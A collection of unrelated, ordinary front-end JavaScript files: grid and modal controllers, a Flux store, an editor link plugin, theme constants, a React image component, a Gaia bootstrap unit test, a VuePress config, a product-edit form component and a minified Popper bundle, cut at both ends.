'footerStyle' }; }, exporterPdfCustomFormatter: function ( docDefinition ) { docDefinition.styles.headerStyle = { fontSize: 22, bold: true }; docDefinition.styles.footerStyle = { fontSize: 10, bold: true }; return docDefinition; }, exporterFieldCallback: function(grid, row, col, input) { if( col.name == 'createdDate' || col.name == 'modifiedDate') { var date = new Date(input); return date.toString("yyyy-MM-dd HH:MM:ss a"); } else { return input; } }, exporterPdfOrientation: 'portrait', exporterPdfPageSize: 'LETTER', exporterPdfMaxGridWidth: 500, exporterCsvLinkElement: angular.element(document.querySelectorAll(".custom-csv-link-location")), onRegisterApi: function(gridApi){ $scope.gridApi = gridApi; } }; $scope.editDescriptiveScope = null; $scope.createNewDescriptiveScopeWindow = function(){ $scope.editDescriptiveScope = null; var modalInstance = $modal.open({ backdrop: 'static', keyboard: false, templateUrl : 'add_descriptiveScope_popup.html', controller: 'editDescriptiveScopeController', resolve: { message: function () { var message = { descriptiveScopeDictionaryDatas: $scope.editDescriptiveScope }; return message; } } }); modalInstance.result.then(function(response){ console.log('response', response); $scope.descriptiveScopeDictionaryDatas=response.descriptiveScopeDictionaryDatas; }); }; $scope.editDescriptiveScopeWindow = function(descriptiveScopeDictionaryData) { $scope.editDescriptiveScope = descriptiveScopeDictionaryData; var modalInstance = $modal.open({ backdrop: 'static', keyboard: false, templateUrl : 'add_descriptiveScope_popup.html', controller: 'editDescriptiveScopeController', resolve: { message: function () { var message = { descriptiveScopeDictionaryData: $scope.editDescriptiveScope }; return message; } } }); modalInstance.result.then(function(response){ console.log('response', response); $scope.descriptiveScopeDictionaryDatas = response.descriptiveScopeDictionaryDatas; }); }; $scope.deleteDescriptiveScope = function(data) { modalService.popupConfirmWin("Confirm","You are about to delete the Descriptive Scope : "+data.scopeName+". Do you want to continue?", function(){ var uuu = "deleteDictionary/descriptive_dictionary/remove_descriptiveScope"; var postData={data: data}; $.ajax({ type : 'POST', url : uuu, dataType: 'json', contentType: 'application/json', data: JSON.stringify(postData), success : function(data){ $scope.$apply(function(){$scope.descriptiveScopeDictionaryDatas=data.descriptiveScopeDictionaryDatas;}); }, error : function(data){ console.log(data); modalService.showFailure("Fail","Error while deleting: "+ data.responseText); } }); }) }; });
import { EventEmitter } from 'events'; import { RoomDispatcher } from '../dispatcher/AppDispatcher'; import * as types from '../constants/ActionTypes'; export class RoomStore extends EventEmitter { constructor() { super(); this._room = null; } setRoom(room) { this._room = room; } setRoomSettings(settings) { this._room = { ...this._room, settings: { ...this._room.settings, ...settings, }, }; } getRoom() { return this._room; } // Emit Change event emitChange() { this.emit('change'); } // Add change listener addChangeListener(callback) { this.on('change', callback); } // Remove change listener removeChangeListener(callback) { this.removeListener('change', callback); } } const roomStore = new RoomStore(); roomStore.dispatchToken = RoomDispatcher.register((payload) => { const { action } = payload; switch (action.actionType) { case types.ROOM_LOAD: roomStore.setRoom(action.data); break; case types.SET_ROOM_SETTINGS: roomStore.setRoomSettings(action.settings); break; default: return true; } // If action was responded to, emit change event roomStore.emitChange(); return true; }); export default roomStore;
/******************************************************************************* * KindEditor - WYSIWYG HTML Editor for Internet * Copyright (C) 2006-2011 kindsoft.net * * @author Roddy <luolonghao@gmail.com> * @site http://www.kindsoft.net/ * @licence http://www.kindsoft.net/license.php *******************************************************************************/ KindEditor.plugin('link', function(K) { var self = this, name = 'link'; self.plugin.link = { edit : function() { var lang = self.lang(name + '.'), html = '<div style="padding:20px;">' + //url '<div class="ke-dialog-row">' + '<label for="keUrl" style="width:60px;">' + lang.url + '</label>' + '<input class="ke-input-text" type="text" id="keUrl" name="url" value="" style="width:260px;" /></div>' + //type '<div class="ke-dialog-row"">' + '<label for="keType" style="width:60px;">' + lang.linkType + '</label>' + '<select id="keType" name="type"></select>' + '</div>' + '</div>', dialog = self.createDialog({ name : name, width : 450, title : self.lang(name), body : html, yesBtn : { name : self.lang('yes'), click : function(e) { var url = K.trim(urlBox.val()); if (url == 'http://' || K.invalidUrl(url)) { alert(self.lang('invalidUrl')); urlBox[0].focus(); return; } self.exec('createlink', url, typeBox.val()).hideDialog().focus(); } } }), div = dialog.div, urlBox = K('input[name="url"]', div), typeBox = K('select[name="type"]', div); urlBox.val('http://'); typeBox[0].options[0] = new Option(lang.newWindow, '_blank'); typeBox[0].options[1] = new Option(lang.selfWindow, ''); self.cmd.selection(); var a = self.plugin.getSelectedLink(); if (a) { self.cmd.range.selectNode(a[0]); self.cmd.select(); urlBox.val(a.attr('data-ke-src')); typeBox.val(a.attr('target')); } urlBox[0].focus(); urlBox[0].select(); }, 'delete' : function() { self.exec('unlink', null); } }; self.clickToolbar(name, self.plugin.link.edit); });
const sm = 768; const md = 992; const lg = 1200; const xl = 1785; const breakpoints = { xs: { min: 0, max: sm - 1 }, sm: { min: sm, max: md - 1 }, md: { min: md, max: lg - 1 }, lg: { min: lg, max: xl - 1 }, xl: { min: xl, max: 100000 }, }; export default { primaryBlue: '#005EB8', lightBlue: '#64A5C3', blueGrey: '#6A7B83', seaGreen: '#00B398', orange: '#F59F4F', rescueRed: '#D44E4E', apple: '#8FBA60', lilac: '#7E57C1', lightBlueGrey: '#B2BEC4', iceBlue: '#E9EEF6', paleBlueGrey: '#FAFBFD', grey: '#4D4D4D', lightGrey: '#8D8D8D', breakpoints, bps: breakpoints, };
import React, {Component} from 'react'; import {MapTo} from '@adobe/aem-react-editable-components'; require('./Image.css'); export const ImageEditConfig = { emptyLabel: 'Image', isEmpty: function(props) { return !props || !props.src || props.src.trim().length < 1; } }; export default class Image extends Component { get content() { return <img className="Image-src" src={this.props.src} alt={this.props.alt} title={this.props.title ? this.props.title : this.props.alt} />; } render() { if(ImageEditConfig.isEmpty(this.props)) { return null; } return ( <div className="Image"> {this.content} </div> ); } } MapTo('wknd-spa-react/components/image')(Image, ImageEditConfig);
'use strict'; /*global MockNavigatormozApps, MockNavigatorSettings, MocksHelper, MockL10n, MockApplications, Applications, MockNavigatormozSetMessageHandler, MockGetDeviceStorages, MockVersionHelper */ requireApp('system/shared/js/async_storage.js'); requireApp('system/shared/js/lazy_loader.js'); requireApp('system/shared/js/screen_layout.js'); requireApp('system/shared/js/nfc_utils.js'); requireApp('system/shared/js/version_helper.js'); requireApp('system/shared/js/settings_helper.js'); requireApp('system/shared/test/unit/mocks/mock_icc_helper.js'); requireApp('system/shared/test/unit/mocks/mock_navigator_moz_apps.js'); requireApp('system/shared/test/unit/mocks/mock_navigator_moz_settings.js'); requireApp('system/shared/test/unit/mocks/mock_settings_listener.js'); requireApp('system/shared/test/unit/mocks/mock_settings_url.js'); require('/shared/test/unit/mocks/mock_navigator_moz_set_message_handler.js'); requireApp('system/shared/test/unit/mocks/mock_navigator_getdevicestorage.js'); requireApp('system/shared/test/unit/mocks/mock_navigator_getdevicestorages.js'); requireApp('system/js/accessibility.js'); requireApp('system/js/activities.js'); requireApp('system/js/activity_window_factory.js'); requireApp('system/js/activity_window_manager.js'); requireApp('system/js/airplane_mode.js'); requireApp('system/js/app_migrator.js'); requireApp('system/js/app_usage_metrics.js'); requireApp('system/js/app_window_factory.js'); requireApp('system/js/browser_settings.js'); requireApp('system/js/cell_broadcast_system.js'); requireApp('system/js/devtools/developer_hud.js'); requireApp('system/js/dialer_agent.js'); requireApp('system/js/eu_roaming_manager.js'); requireApp('system/js/external_storage_monitor.js'); requireApp('system/js/ftu_launcher.js'); requireApp('system/js/rocketbar.js'); requireApp('system/js/home_gesture.js'); requireApp('system/js/homescreen_launcher.js'); requireApp('system/js/internet_sharing.js'); requireApp('system/js/layout_manager.js'); requireApp('system/js/lockscreen_window_manager.js'); requireApp('system/js/lockscreen_notifications.js'); requireApp('system/js/lockscreen_passcode_validator.js'); requireApp('system/js/lockscreen_notification_builder.js'); requireApp('system/js/media_recording.js'); requireApp('system/js/permission_manager.js'); requireApp('system/js/remote_debugger.js'); requireApp('system/js/secure_window_factory.js'); requireApp('system/js/secure_window_manager.js'); requireApp('system/js/sleep_menu.js'); requireApp('system/js/orientation_manager.js'); requireApp('system/js/nfc_manager.js'); requireApp('system/js/shrinking_ui.js'); requireApp('system/js/software_button_manager.js'); requireApp('system/js/source_view.js'); requireApp('system/js/usb_storage.js'); requireApp('system/js/system_dialog_manager.js'); requireApp('system/js/telephony_settings.js'); requireApp('system/js/base_ui.js'); requireApp('system/js/text_selection_dialog.js'); requireApp('system/js/ttlview.js'); requireApp('system/js/visibility_manager.js'); requireApp('system/js/wallpaper_manager.js'); requireApp('system/js/attention_window_manager.js'); requireApp('system/js/attention_indicator.js'); requireApp('system/test/unit/mock_app_window.js'); requireApp('system/test/unit/mock_attention_window.js'); requireApp('system/test/unit/mock_callscreen_window.js'); requireApp('system/test/unit/mock_airplane_mode.js'); requireApp('system/test/unit/mock_applications.js'); requireApp('system/test/unit/mock_edge_swipe_detector.js'); require('/shared/test/unit/mocks/mock_l10n.js'); requireApp('system/test/unit/mock_places.js'); requireApp('system/test/unit/mock_screen_manager.js'); requireApp('system/test/unit/mock_task_manager.js'); requireApp('system/test/unit/mock_app_window_manager.js'); requireApp('system/test/unit/mock_version_helper.js'); var mocksForBootstrap = new MocksHelper([ 'AirplaneMode', 'Applications', 'IccHelper', 'ScreenManager', 'Places', 'SettingsListener', 'SettingsURL', 'TaskManager', 'L10n', 'AppWindowManager', 'VersionHelper', 'CallscreenWindow', 'EdgeSwipeDetector' ]).init(); suite('system/Bootstrap', function() { var realNavigatorSettings; var realNavigatormozL10n; var realNavigatormozApps; var realNavigatormozSetMeesageHandler; var realNavigatorGetDeviceStorages; var realDocumentElementDir; var realDocumentElementLang; var realApplications; var realVersionHelper; var fakeElement; mocksForBootstrap.attachTestHelpers(); setup(function() { fakeElement = document.createElement('div'); this.sinon.stub(document, 'getElementById') .returns(fakeElement.cloneNode(true)); this.sinon.stub(document, 'querySelector') .returns(fakeElement.cloneNode(true)); }); teardown(function() { MockNavigatorSettings.mTeardown(); MockNavigatormozApps.mTeardown(); MockApplications.mTeardown(); MockNavigatormozSetMessageHandler.mTeardown(); }); suiteSetup(function(done) { realNavigatormozApps = navigator.mozApps; navigator.mozApps = MockNavigatormozApps; realNavigatorSettings = navigator.mozSettings; navigator.mozSettings = MockNavigatorSettings; realNavigatormozSetMeesageHandler = navigator.mozSetMessageHandler; navigator.mozSetMessageHandler = MockNavigatormozSetMessageHandler; MockNavigatormozSetMessageHandler.mSetup(); realDocumentElementDir = document.documentElement.dir; realDocumentElementLang = document.documentElement.lang; realNavigatormozL10n = window.navigator.mozL10n; window.navigator.mozL10n = MockL10n; realApplications = window.applications; window.applications = MockApplications; realNavigatorGetDeviceStorages = navigator.getDeviceStorages; navigator.getDeviceStorages = MockGetDeviceStorages; realVersionHelper = window.VersionHelper; window.VersionHelper = MockVersionHelper(false); requireApp('system/js/bootstrap.js', done); }); suiteTeardown(function() { navigator.mozApps = realNavigatormozApps; realNavigatormozApps = null; window.navigator.mozL10n = realNavigatormozL10n; realNavigatormozL10n = null; navigator.mozSettings = realNavigatorSettings; realNavigatorSettings = null; navigator.mozSetMessageHandler = realNavigatormozSetMeesageHandler; realNavigatormozSetMeesageHandler = null; window.applications = realApplications; realApplications = null; navigator.getDeviceStorages = realNavigatorGetDeviceStorages; realNavigatorGetDeviceStorages = null; document.documentElement.dir = realDocumentElementDir; document.documentElement.lang = realDocumentElementLang; }); suite('check for updates setting', function() { var setting = 'gaia.system.checkForUpdates'; suite('after First Time User setup has been done', function() { setup(function() { // mock window.SettingsMigrator = function() { this.start = function() {}; }; // this.sinon.stub(SettingsMigrator, 'start'); MockNavigatorSettings.mSettings[setting] = false; window.dispatchEvent(new CustomEvent('load')); window.dispatchEvent(new CustomEvent('ftudone')); }); teardown(function() { window.SettingsMigrator = null; }); test('should be enabled', function() { assert.isTrue(MockNavigatorSettings.mSettings[setting]); }); }); suite('at boot, if NOFTU is defined (i.e in DEBUG mode)', function() { setup(function() { // mock window.SettingsMigrator = function() { this.start = function() {}; }; Applications.ready = true; MockNavigatorSettings.mSettings[setting] = false; window.dispatchEvent(new CustomEvent('load')); window.dispatchEvent(new CustomEvent('ftuskip')); }); teardown(function() { window.SettingsMigrator = null; }); test('should be enabled', function() { assert.isTrue(MockNavigatorSettings.mSettings[setting]); }); }); }); suite('check for insane devices beeing cancelled', function() { function createEvent(type) { var evt = new CustomEvent(type, { bubbles: true, cancelable: true }); evt.pageX = evt.pageY = 0; evt.touches = [{ pageX: 0, pageY: 0 }]; evt.changedTouches = [{ pageX: 0, pageY: 0 }]; return evt; } test('mousedown should be preventDefaulted', function() { assert.ok(window.dispatchEvent(createEvent('mousedown')) === false); }); test('mouseup should be preventDefaulted', function() { assert.ok(window.dispatchEvent(createEvent('mouseup')) === false); }); test('touchend should be preventDefaulted', function() { assert.ok(window.dispatchEvent(createEvent('touchstart')) === false); }); test('touchend should be preventDefaulted', function() { assert.ok(window.dispatchEvent(createEvent('touchend')) === false); }); }); });
module.exports = { base: '/wheel-vue/', title: 'Wheel-Vue', description: '一个好用的ui组件库', themeConfig: { nav: [ { text: '主页', link: '/' }, { text: '文档', link: '/guide/' }, { text: '交流', link: 'https://google.com' }, ], sidebar: [ { title: '入门', collapsable: false, children: [ '/install/', '/get-started/', ] }, { title: '组件', collapsable: false, children: [ '/components/button', '/components/input', '/components/popover', '/components/tabs', '/components/toast', '/components/collapse' ] }, ] } }
// Component to display the view/edit interface for a single product. (function (fluid) { "use strict"; var gpii = fluid.registerNamespace("gpii"); // The sub-component that handles editing the "status" field. fluid.defaults("gpii.ul.product.edit.status", { gradeNames: ["gpii.ul.select"], templateKey: "product-edit-status", select: { options: [ { value: "new", label: "New"}, { value: "active", label: "Active"}, { value: "discontinued", label: "Discontinued"}, { value: "deleted", label: "Deleted"} ] }, selectors: { select: "" } }); fluid.registerNamespace("gpii.ul.product.edit"); gpii.ul.product.edit.filterAndStringify = function (value, transformSpec) { return JSON.stringify(fluid.filterKeys(value, fluid.makeArray(transformSpec.keys), transformSpec.exclude)); }; fluid.defaults("gpii.ul.product.edit.filterAndStringify", { gradeNames: ["fluid.standardTransformFunction"] }); // The component that handles the binding, etc. for the "Edit" form. fluid.defaults("gpii.ul.product.edit", { gradeNames: ["gpii.schema.client.errorAwareForm"], schemaKey: "product-update-input.json", ajaxOptions: { url: "/api/product", method: "PUT", contentType: "application/json", headers: { accept: "application/json" } }, rules: { // TODO: Decouple the validation payload from the request payload, so that we can enable "live" validation. Currently doesn't work because the "payload" is a string and no longer a JSON object. modelToRequestPayload: { "": { transform: { type: "gpii.ul.product.edit.filterAndStringify", inputPath: "product", keys: ["sources"], exclude: true } } }, errorResponseToModel: { "": "responseJSON" }, successResponseToModel: { "": "notfound", message: "Your changes have been saved." } }, templateKeys: { initial: "product-edit" }, selectors: { status: ".product-edit-status", name: ".product-edit-name", description: ".product-edit-description", source: ".product-edit-source", sid: ".product-edit-sid", uid: ".product-edit-uid", manufacturerName: ".manufacturer-name", address: ".manufacturer-address", cityTown: ".manufacturer-citytown", provinceRegion: ".manufacturer-provinceregion", postalCode: ".manufacturer-postalcode", country: ".manufacturer-country", email: ".manufacturer-email", phone: ".manufacturer-phone", url: ".manufacturer-url", form: ".product-edit-form", error: ".product-edit-error", success: ".product-edit-success", submit: ".product-edit-submit" }, hideOnSuccess: false, hideOnError: false, bindings: { name: "product.name", description: "product.description", source: "product.source", sid: "product.sid", uid: "product.uid", manufacturerName: { selector: "manufacturerName", path: "product.manufacturer.name", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, address: { selector: "address", path: "product.manufacturer.address", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, cityTown: { selector: "cityTown", path: "product.manufacturer.cityTown", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, provinceRegion: { selector: "provinceRegion", path: "product.manufacturer.provinceRegion", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, postalCode: { selector: "postalCode", path: "product.manufacturer.postalCode", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, country: { selector: "country", path: "product.manufacturer.country", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, email: { selector: "email", path: "product.manufacturer.email", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, phone: { selector: "phone", path: "product.manufacturer.phone", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } }, url: { selector: "url", path: "product.manufacturer.url", rules: { domToModel: { "": { transform: { type: "gpii.binder.transforms.stripEmptyString", inputPath: "" } } } } } }, errorBindings: { name: "name", description: "description", source: "source", sid: "sid", uid: "uid", manufacturerName: "manufacturer.name", address: "manufacturer.address", cityTown: "manufacturer.cityTown", provinceRegion: "manufacturer.provinceRegion", postalCode: "manufacturer.postalCode", country: "manufacturer.country", email: "manufacturer.email", phone: "manufacturer.phone", url: "manufacturer.url" }, components: { status: { type: "gpii.ul.product.edit.status", createOnEvent: "{edit}.events.onMarkupRendered", container: "{edit}.dom.status", options: { model: { select: "{edit}.model.product.status" }, listeners: { "onCreate.renderInitialMarkup": { func: "{that}.renderInitialMarkup" } } } } } }); fluid.registerNamespace("gpii.ul.product"); // When our permissions data ("sources") are updated, confirm whether we are allowed to edit the record directly. // Also set the "updated" date to today's date. gpii.ul.product.checkReadyToEdit = function (that) { var editControls = that.locate("editControls"); if (that.model.user && that.model.writableSources && that.model.writableSources.length > 0) { that.applier.change("editableProduct.updated", (new Date()).toISOString()); if (that.model.product && that.model.writableSources && that.model.writableSources.indexOf(that.model.product.source) !== -1) { editControls.show(); } else if (that.model.product.source === "unified") { editControls.hide(); } that.events.onReadyForEdit.fire(that); } }; // Convenience grade to avoid repeating the common toggle options for all three toggles (see below). fluid.defaults("gpii.ul.product.toggle", { gradeNames: ["gpii.ul.toggle"], selectors: { controls: ".product-view-control-panel", editForm: ".product-edit", viewForm: ".product-view" }, toggles: { controls: true, editForm: true, viewForm: true } }); // Grade to handle the special case of hiding the edit form when the record is saved successfully fluid.registerNamespace("gpii.ul.product.toggle.onSave"); gpii.ul.product.toggle.onSave.hideOnSuccess = function (that, success) { if (success) { that.performToggle(); } }; fluid.defaults("gpii.ul.product.toggle.onSave", { gradeNames: ["gpii.ul.product.toggle"], invokers: { hideOnSuccess: { funcName: "gpii.ul.product.toggle.onSave.hideOnSuccess", args: ["{that}", "{arguments}.0"] } } }); fluid.registerNamespace("gpii.ul.product.permChecker"); // If the user is logged in, retrieve the list of sources they are allowed to read/write. gpii.ul.product.permChecker.startPermCheck = function (that) { if (that.model.user) { that.makeRequest(); } else { that.applier.change("writableSources", []); } }; fluid.defaults("gpii.ul.product.permChecker", { gradeNames: ["gpii.handlebars.ajaxCapable"], ajaxOptions: { method: "GET", url: "/api/sources", dataType: "json", headers: { accept: "application/json" } }, rules: { modelToRequestPayload: { "": "notfound" }, successResponseToModel: { "": "notfound", "writableSources": "responseJSON.writableSources", "errorMessage": { literalValue: false } }, errorResponseToModel: { "": "notfound", "writableSources": { literalValue: [] }, "errorMessage": "responseJSON.message" } }, model: { user: false, writableSources: [], errorMessage: false }, invokers: { "checkPerms": { funcName: "gpii.ul.product.permChecker.startPermCheck", args: ["{that}"] } }, listeners: { "onCreate.makeRequest": { func: "{that}.makeRequest" } }, modelListeners: { "user": { func: "{that}.makeRequest", excludeSource: "init" } } }); // The component that loads the product content and controls the initial rendering. Subcomponents // listen for this component to give the go ahead, and then take over parts of the interface. fluid.defaults("gpii.ul.product", { gradeNames: ["gpii.handlebars.templateAware"], selectors: { viewport: ".product-viewport", editControls: ".product-edit-button" }, mergePolicy: { rules: "noexpand" }, listeners: { "onRendererAvailable.renderMarkup": { func: "{that}.renderInitialMarkup" } }, ajaxOptions: { method: "GET", dataType: "json", headers: { accept: "application/json" } }, model: { successMessage: false, errorMessage: false, product: false, editableProduct: "{that}.model.product", user: false, writableSources: [] }, templateKey: "product-viewport", events: { onEditRendered: null, onReadyForEdit: null, onRenderedAndReadyForEdit: { events: { onReadyForEdit: "onReadyForEdit", onMarkupRendered: "onMarkupRendered" } }, onViewRendered: null }, modelListeners: { "writableSources": { func: "{that}.checkReadyToEdit" } }, components: { permChecker: { type: "gpii.ul.product.permChecker", options: { model: { writableSources: "{gpii.ul.product}.model.writableSources", user: "{gpii.ul.product}.model.user" } } }, view: { type: "gpii.handlebars.templateMessage", container: ".product-view", createOnEvent: "{product}.events.onMarkupRendered", options: { templateKey: "product-view", model: { product: "{product}.model.product", user: "{product}.model.user" }, listeners: { "onMarkupRendered.notifyParent": { func: "{product}.events.onViewRendered.fire" }, "onCreate.renderInitialMarkup": { func: "{that}.renderInitialMarkup" } } } }, gallery: { type: "gpii.ul.images.viewGallery", createOnEvent: "{product}.events.onMarkupRendered", container: ".ul-gallery-holder", options: { model: { product: "{gpii.ul.product}.model.product" }, components: { renderer: "{gpii.ul.product}.renderer" } } }, edit: { type: "gpii.ul.product.edit", createOnEvent: "{product}.events.onRenderedAndReadyForEdit", container: ".product-edit", options: { model: { product: "{product}.model.editableProduct" }, listeners: { "onCreate.renderInitialMarkup": { func: "{that}.renderInitialMarkup" } } } }, // Toggles must exist at this level so that they can be aware of both the view and edit form, thus we have // two very similar toggle controls that are instantiated if we're editing, and which are rebound as needed. editControls: { type: "gpii.ul.product.toggle", createOnEvent: "{product}.events.onRenderedAndReadyForEdit", container: "{product}.container", options: { selectors: { toggle: ".product-view-control-panel .product-toggle" }, // We need to refresh on startup because the view may already have been rendered. listeners: { "onCreate.refresh": { func: "{that}.events.onRefresh.fire" } } } }, toggleFromEdit: { type: "gpii.ul.product.toggle", createOnEvent: "{product}.events.onRenderedAndReadyForEdit", container: "{product}.container", options: { selectors: { toggle: ".product-edit .product-toggle" }, // The edit form is only rendered once, and before us, so we can just apply our bindings on creation. listeners: { "onCreate.applyBindings": { func: "{that}.events.onRefresh.fire" } } } }, // The last toggle has no controls, and is used to hide the editing interface when the record is saved successfully. toggleAfterSave: { type: "gpii.ul.product.toggle.onSave", createOnEvent: "{product}.events.onRenderedAndReadyForEdit", container: "{product}.container", options: { listeners: { "{edit}.events.requestReceived": { func: "{that}.hideOnSuccess", args: ["{arguments}.1"] // component, success } } } } }, invokers: { checkReadyToEdit: { funcName: "gpii.ul.product.checkReadyToEdit", args: ["{that}", "{arguments}.2"] }, renderInitialMarkup: { func: "{that}.renderMarkup", args: ["viewport", "{that}.options.templateKey", "{that}.model"] } } }); })(fluid);
/*! For license information please see 606.js.LICENSE.txt */ (self.webpackChunk=self.webpackChunk||[]).push([[606],{6308:(e,t,n)=>{"use strict";n.d(t,{K:()=>a});var a=function(){function e(e){void 0===e&&(e={}),this.adapter=e}return Object.defineProperty(e,"cssClasses",{get:function(){return{}},enumerable:!1,configurable:!0}),Object.defineProperty(e,"strings",{get:function(){return{}},enumerable:!1,configurable:!0}),Object.defineProperty(e,"numbers",{get:function(){return{}},enumerable:!1,configurable:!0}),Object.defineProperty(e,"defaultAdapter",{get:function(){return{}},enumerable:!1,configurable:!0}),e.prototype.init=function(){},e.prototype.destroy=function(){},e}()},79397:(e,t,n)=>{"use strict";function a(e){return void 0===e&&(e=window),!!function(e){void 0===e&&(e=window);var t=!1;try{var n={get passive(){return t=!0,!1}},a=function(){};e.document.addEventListener("test",a,n),e.document.removeEventListener("test",a,n)}catch(e){t=!1}return t}(e)&&{passive:!0}}n.r(t),n.d(t,{applyPassive:()=>a})},42851:(e,t,n)=>{"use strict";function a(e,t){if(e.closest)return e.closest(t);for(var n=e;n;){if(i(n,t))return n;n=n.parentElement}return null}function i(e,t){return(e.matches||e.webkitMatchesSelector||e.msMatchesSelector).call(e,t)}function r(e){var t=e;if(null!==t.offsetParent)return t.scrollWidth;var n=t.cloneNode(!0);n.style.setProperty("position","absolute"),n.style.setProperty("transform","translate(-9999px, -9999px)"),document.documentElement.appendChild(n);var a=n.scrollWidth;return document.documentElement.removeChild(n),a}n.r(t),n.d(t,{closest:()=>a,matches:()=>i,estimateScrollWidth:()=>r})},17211:(e,t,n)=>{"use strict";function a(e){var t=e.getBoundingClientRect();return{width:t.width,height:t.height,top:t.top,right:t.right,bottom:t.bottom,left:t.left,x:t.left,y:t.top}}function i(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function r(e){var t=i(e);return{scrollLeft:t.pageXOffset,scrollTop:t.pageYOffset}}function s(e){return e instanceof i(e).Element||e instanceof Element}function o(e){return e instanceof i(e).HTMLElement||e instanceof HTMLElement}function d(e){return"undefined"!=typeof ShadowRoot&&(e instanceof i(e).ShadowRoot||e instanceof ShadowRoot)}function l(e){return e?(e.nodeName||"").toLowerCase():null}function u(e){return((s(e)?e.ownerDocument:e.document)||window.document).documentElement}function c(e){return a(u(e)).left+r(e).scrollLeft}function m(e){return i(e).getComputedStyle(e)}function _(e){var t=m(e),n=t.overflow,a=t.overflowX,i=t.overflowY;return/auto|scroll|overlay|hidden/.test(n+i+a)}function h(e,t,n){void 0===n&&(n=!1);var s,d=u(t),m=a(e),h=o(t),f={scrollLeft:0,scrollTop:0},p={x:0,y:0};return(h||!h&&!n)&&(("body"!==l(t)||_(d))&&(f=(s=t)!==i(s)&&o(s)?function(e){return{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}}(s):r(s)),o(t)?((p=a(t)).x+=t.clientLeft,p.y+=t.clientTop):d&&(p.x=c(d))),{x:m.left+f.scrollLeft-p.x,y:m.top+f.scrollTop-p.y,width:m.width,height:m.height}}function f(e){var t=a(e),n=e.offsetWidth,i=e.offsetHeight;return Math.abs(t.width-n)<=1&&(n=t.width),Math.abs(t.height-i)<=1&&(i=t.height),{x:e.offsetLeft,y:e.offsetTop,width:n,height:i}}function p(e){return"html"===l(e)?e:e.assignedSlot||e.parentNode||(d(e)?e.host:null)||u(e)}function g(e){return["html","body","#document"].indexOf(l(e))>=0?e.ownerDocument.body:o(e)&&_(e)?e:g(p(e))}function L(e,t){var n;void 0===t&&(t=[]);var a=g(e),r=a===(null==(n=e.ownerDocument)?void 0:n.body),s=i(a),o=r?[s].concat(s.visualViewport||[],_(a)?a:[]):a,d=t.concat(o);return r?d:d.concat(L(p(o)))}function y(e){return["table","td","th"].indexOf(l(e))>=0}function v(e){return o(e)&&"fixed"!==m(e).position?e.offsetParent:null}function M(e){for(var t=i(e),n=v(e);n&&y(n)&&"static"===m(n).position;)n=v(n);return n&&("html"===l(n)||"body"===l(n)&&"static"===m(n).position)?t:n||function(e){var t=-1!==navigator.userAgent.toLowerCase().indexOf("firefox");if(-1!==navigator.userAgent.indexOf("Trident")&&o(e)&&"fixed"===m(e).position)return null;for(var n=p(e);o(n)&&["html","body"].indexOf(l(n))<0;){var a=m(n);if("none"!==a.transform||"none"!==a.perspective||"paint"===a.contain||-1!==["transform","perspective"].indexOf(a.willChange)||t&&"filter"===a.willChange||t&&a.filter&&"none"!==a.filter)return n;n=n.parentNode}return null}(e)||t}n.d(t,{fi:()=>ce});var b="top",Y="bottom",k="right",w="left",T="auto",D=[b,Y,k,w],x="start",$="end",S="viewport",j="popper",H=D.reduce((function(e,t){return e.concat([t+"-"+x,t+"-"+$])}),[]),C=[].concat(D,[T]).reduce((function(e,t){return e.concat([t,t+"-"+x,t+"-"+$])}),[]),E=["beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite"];function O(e){var t=new Map,n=new Set,a=[];function i(e){n.add(e.name),[].concat(e.requires||[],e.requiresIfExists||[]).forEach((function(e){if(!n.has(e)){var a=t.get(e);a&&i(a)}})),a.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)||i(e)})),a}var A={placement:"bottom",modifiers:[],strategy:"absolute"};function I(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some((function(e){return!(e&&"function"==typeof e.getBoundingClientRect)}))}function R(e){void 0===e&&(e={});var t=e,n=t.defaultModifiers,a=void 0===n?[]:n,i=t.defaultOptions,r=void 0===i?A:i;return function(e,t,n){void 0===n&&(n=r);var i,o,d={placement:"bottom",orderedModifiers:[],options:Object.assign({},A,r),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},l=[],u=!1,c={state:d,setOptions:function(n){m(),d.options=Object.assign({},r,d.options,n),d.scrollParents={reference:s(e)?L(e):e.contextElement?L(e.contextElement):[],popper:L(t)};var i=function(e){var t=O(e);return E.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}(function(e){var t=e.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e}),{});return Object.keys(t).map((function(e){return t[e]}))}([].concat(a,d.options.modifiers)));return d.orderedModifiers=i.filter((function(e){return e.enabled})),d.orderedModifiers.forEach((function(e){var t=e.name,n=e.options,a=void 0===n?{}:n,i=e.effect;if("function"==typeof i){var r=i({state:d,name:t,instance:c,options:a}),s=function(){};l.push(r||s)}})),c.update()},forceUpdate:function(){if(!u){var e=d.elements,t=e.reference,n=e.popper;if(I(t,n)){d.rects={reference:h(t,M(n),"fixed"===d.options.strategy),popper:f(n)},d.reset=!1,d.placement=d.options.placement,d.orderedModifiers.forEach((function(e){return d.modifiersData[e.name]=Object.assign({},e.data)}));for(var a=0;a<d.orderedModifiers.length;a++)if(!0!==d.reset){var i=d.orderedModifiers[a],r=i.fn,s=i.options,o=void 0===s?{}:s,l=i.name;"function"==typeof 